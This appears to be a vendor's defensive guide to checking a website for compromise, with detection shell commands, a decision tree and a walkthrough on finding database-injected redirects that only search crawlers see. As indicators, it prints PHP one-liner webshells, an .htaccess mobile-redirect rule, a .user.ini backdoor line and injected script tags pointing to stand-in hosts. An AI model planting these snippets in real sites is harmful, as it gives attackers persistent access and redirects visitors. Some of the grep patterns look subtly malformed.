How to Self-Inspect for Website Hacking: 9 Symptoms and Executable Detection Commands

When suspecting a website has been hacked, the first reaction is often to open the site and check it yourself—but this approach usually fails because most hacks are invisible to the naked eye.

The reason is simple: attackers don’t want you to find out. Common hacking methods use conditional triggers, such as redirecting only on specific User-Agents (mobile devices), injecting spam content only for search engine crawlers, or loading malicious scripts only when accessed by non-administrators. When you open the site on your computer, it appears completely normal.

Therefore, self-inspection must focus on the file system and database levels, rather than just observing page behavior.

9 Symptom Checklist

Typical Forms of Malicious Code

Unknown Scripts Injected into Pages

<!-- Unknown script (commonly found at the bottom or header) -->
<script src="http://unknown-cdn.top/tj.js"></script>

<!-- Hidden iframe -->
<iframe src="http://spam.example/" width="0" height="0" style="display:none"></iframe>

.htaccess Redirect Rules

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (android|iphone|ipad) [NC]
RewriteRule ^(.*)$ http://malicious.example/ [R=302,L]

This rule’s purpose is “redirect only on mobile.” Refreshing repeatedly on a computer won’t reveal it; it only exposes itself when accessed via a mobile device.

.user.ini Backdoor (Easiest to Miss)

auto_prepend_file = /tmp/.x.php

This file forces PHP to load a specified file before executing any script. Since it is not written inside PHP files, scanning PHP files alone will yield no results; you must check the existence and content of these specific files separately.

One-Liner Webshell Characteristics

<?php @eval($_POST['pass']); ?>
<?php assert($_REQUEST['x']); ?>
<?php @preg_replace("/x/e", $_POST['c'], "x"); ?>

External Warnings from Search Engines

Google: This site may have been compromised
Baidu: This page may pose a security risk
Unfamiliar keywords like gambling/pornography appear in search snippets

Executable Detection Commands

# ① Recently modified PHP files — the most effective method
find /var/www -name '*.php' -mtime -7 -print

# ② Scan for dangerous functions
grep -rEl 'eval(|base64_decode|assert(|system(|passthru|shell_exec|exec(' 
  /var/www --include='*.php'

# ③ Scan for one-liner webshell characteristics
grep -rEl '$_POST[|@preg_replace|assert(' /var/www --include='*.php'

# ④ These two files must be checked separately (PHP scanners miss them)
cat /var/www/html/.htaccess
cat /var/www/html/.user.ini

# ⑤ Check cron jobs — main way backdoors survive
crontab -l
ls -l /etc/cron.d/ /var/spool/cron/

# ⑥ Check startup items and abnormal processes
systemctl list-unit-files --state=enabled
ps aux --sort=-%cpu | head -20

# ⑦ Check /tmp — malicious files often hide here and are executable
ls -la /tmp

# ⑧ Check system accounts
awk -F: '$3>=1000 {print $1}' /etc/passwd
last -20

# ⑨ WordPress body content injected with JS (Database level)
mysql -e "SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%<script%';" dbname

# ⑩ Check outbound connections (common for mining/reverse shells)
netstat -antp | grep ESTABLISHED

Decision Tree

Suspect Hack
├─ find -mtime finds abnormal files → Locate intrusion time and entry point
├─ One-liner webshell detected → Record path, enter cleanup process
├─ .htaccess / .user.ini modified → Restore and investigate write paths
├─ Database body contains script → Clean post_content
├─ Abnormal cron jobs / processes → Isolate process first, then clean files
└─ Only high load, no file anomalies → Check mining processes and outbound connections

Scenario Walkthrough: Unrecognizable Script in Homepage Source

Phenomenon: A site is flagged by search engines as “potentially risky,” occasionally redirects to unrelated pages upon access, but appears normal when viewed directly. Suspected content injection.

1. Check the raw content received by the browser, not the rendered result → Fetch the homepage source code directly.
   Found an obfuscated script at the very bottom. It is invisible in the rendered page because it is conditionally triggered.
2. Confirm if the script exists in the files → Globally search for the script’s characteristic string on the server.
   No matches found—indicating the content is not in the template files but stored in the database.
3. Locate the injection point in the database → Found the script in a field storing page content.
   Indicates the attacker injected content via the backend, not the file system.
4. Determine trigger conditions → The script includes source logic:
   It only outputs redirects for visits from search engines; direct access does not trigger it. This explains why “it looks normal to me.”
5. Clean up and trace the source → Remove the injected content from the database and check for abnormal accounts or new plugin files in the backend.
6. Re-check the next day → Fetch source code again for comparison and confirm that search engine risk warnings are updating.

# Fetch raw site content directly; do not rely on rendered views
curl -s https://example.com/ | tail -c 2000

# Fetch again with search engine source headers — key test for conditional injection
curl -s -A 'Mozilla/5.0 (compatible; Baiduspider/2.0)' 
     -e 'https://www.baidu.com/' https://example.com/ | tail -c 2000

# Search server for characteristic strings (no match means it's not in files)
grep -rIo 'characteristic_string' /path/to/webroot --include='*.php' | head

# Check if identical content exists in the database
mysqldump dbname | grep -o 'characteristic_string' | head

Root Cause: The injected content is stored in the database and output via the backend, with source-based logic that only affects visits from search engines. Therefore, standard self-inspection reveals no abnormalities.

Two Key Takeaways:

• To check for injection, you must view the raw response. Requests without Spider User-Agents and Referers often fail to reveal the issue.
  This is the most critical feature of conditionally triggered backdoors and the reason they are hard to detect.
• Not finding anything in files does not mean the site is clean.
  Injection can exist in database content fields; cleaning methods differ completely—this involves modifying data, not files.

8 Common Pitfalls

1. Only checking page behavior: Most hacks trigger based on UA or source; they look normal when opened manually. You must check files and databases.
2. Deleting visible malicious code without finding the backdoor: The site gets re-hacked quickly because the upload vector and cron jobs remain.
3. Missing .user.ini and .htaccess: They are not PHP files; scanning PHP files alone yields no results.
4. Forgetting to check the database: WordPress post_content being stuffed with JS is common; cleaning files alone is useless.
5. Not changing all passwords: SSH / FTP / Database / Backend admin—if one old password remains, secondary intrusion occurs.
6. Only checking the Web directory: Executable files in /tmp can also run and are often ignored.
7. No re-inspection after cleanup: Scan at least once the next day to ensure nothing survives.
8. CDN caching malicious pages: Even if the origin server is cleaned, users still see the cached malicious page.

Real Customer Feedback (From Cloud Marketplace Reviews and Inquiries)

The following excerpts are taken from real buyer reviews and inquiries for similar operations services on Alibaba Cloud / Tencent Cloud / Huawei Cloud Marketplaces (providers include our store and competitors, provided for reference only, not fictional tickets):

1****1 Rating: 5.0 2020-06-18 11:50 1****1 Rating: 5.0 2020-04-26 18:46 1****1 Rating: 5.0 2020-04-26 18:45 1****1 Rating: 5.0 2020-04-26 18:45 1****1 Rating: 5.0 2020-04-26 18:45 1****1 Rating: 5.0 2020-04-26 18:44 He**** She Rating: 5.0 2019-09-26 09:47

1****8 Rating: 5.0 2019-10-29 22:35 Good 1